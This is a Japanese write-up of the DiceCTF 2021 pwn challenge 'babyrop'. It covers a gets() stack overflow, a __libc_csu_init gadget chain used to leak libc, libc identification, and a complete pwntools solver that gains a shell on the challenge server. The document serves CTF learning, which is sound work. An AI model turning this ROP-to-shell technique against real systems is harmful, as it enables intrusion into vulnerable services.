DiceCTF 2021 Writeup

ctf.dicega.ng

目次

成績

etherknotで参加してpwnを1問だけ解きました。
チーム成績は114位でした。(チームメンバーすごい)
f:id:kisaragi211:20210208125423p:plain

Writeup

Pwn

babyrop

mainを覗くと簡単なBOFであることがわかります。
canaryも確認するとoffでした。

0000000000401136 <main>:
  401136:       55                      push   rbp
  401137:       48 89 e5                mov    rbp,rsp
  40113a:       48 83 ec 40             sub    rsp,0x40
  40113e:       ba 0b 00 00 00          mov    edx,0xb
  401143:       48 8d 35 ba 0e 00 00    lea    rsi,[rip+0xeba]        # 402004 <_IO_stdin_used+0x4>
  40114a:       bf 01 00 00 00          mov    edi,0x1
  40114f:       e8 dc fe ff ff          call   401030 <write@plt>
  401154:       48 8d 45 c0             lea    rax,[rbp-0x40]
  401158:       48 89 c7                mov    rdi,rax
  40115b:       b8 00 00 00 00          mov    eax,0x0
  401160:       e8 db fe ff ff          call   401040 <gets@plt>
  401165:       b8 00 00 00 00          mov    eax,0x0
  40116a:       c9                      leave
  40116b:       c3                      ret
  40116c:       0f 1f 40 00             nop    DWORD PTR [rax+0x0]

ということでbofさせるわけですが、第三引数がうまく設定できなかったのでチームメンバーに質問したところ__libc_csu_initというのが使えるという情報をいただきました。
参考はこちらです。

x64でROP stager + Return-to-dl-resolve + __libc_csu_init gadgetsによるASLR+DEP回避をやってみる - ももいろテクノロジー

r15に呼び出したい関数、rbxを0にすると好きな関数が呼び出せるみたいです。
またr12,r13,r14がそれぞれ引数になって引数が3つまでの関数が好きに呼べるみたいです。
あとrbp==rbx+1にする必要があるのでそこが注意が必要です。
それらを利用してwriteのGOTをセットしてwrite関数でlibcの位置を特定します。

そこからlibc内のオフセットを求めるわけなのですが、今回はlibcの配布がなかったので分からんやん!と思っていたら以下のようなサイトがあるみたいです。

libc database search

リークしたアドレスの下三桁とSymbolを入力するとlibcを特定してくれるみたいです。
またそれに対応するlibcのダウンロードもできるようです(便利すぎ)

このサイトで調べるとglibc2.31なのがわかりました。
あとは writeのアドレス-writeのオフセット をするとlibcのアドレス位置がわかるので好きな関数が呼び出せます。
ということでsolverです。

from pwn import *

binary = './babyrop'
elf = ELF(binary)
rop = ROP(elf)
context.binary = binary

p = remote('dicec.tf', 31924)

ret = 0x40101a
write_plt = 0x401030
write_got = 0x404018
gets_plt  = 0x401040
pop_rdi = 0x004011d3        # 0x004011d3: pop rdi ; ret  ;  (1 found)
pop_rsi_r15 = 0x004011d1    # 0x004011d1: pop rsi ; pop r15 ; ret  ;  (1 found)
pop_r14_r15 = 0x004011d0    # 0x004011d0: pop r14 ; pop r15 ; ret  ;  (1 found)
call_write = 0x40114f
main = 0x401136
mov_rdx_r14 = 0x4011b0      # __libc_csu_init
dummy = 0

payload  = b'A' * 72
payload += p64(0x4011ca)
payload += p64(0)
payload += p64(1)
payload += p64(1)
payload += p64(write_got)
payload += p64(6)
payload += p64(write_got)
payload += p64(0x4011b0)

payload += p64(dummy)
payload += p64(dummy)
payload += p64(dummy)
payload += p64(dummy)
payload += p64(dummy)
payload += p64(dummy)
payload += p64(dummy)
payload += p64(main)

p.sendlineafter('Your name: ', payload)
write_addr = u64(p.recv(6)[:6].ljust(8, b'\0'))
print(hex(write_addr))

libc_addr = write_addr - 0x1111d0
system_addr = libc_addr + 0x055410
binsh = libc_addr + 0x1b75aa

payload  = b'A' * 72
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(ret)
payload += p64(system_addr)
p.sendlineafter('Your name: ', payload)

p.interactive()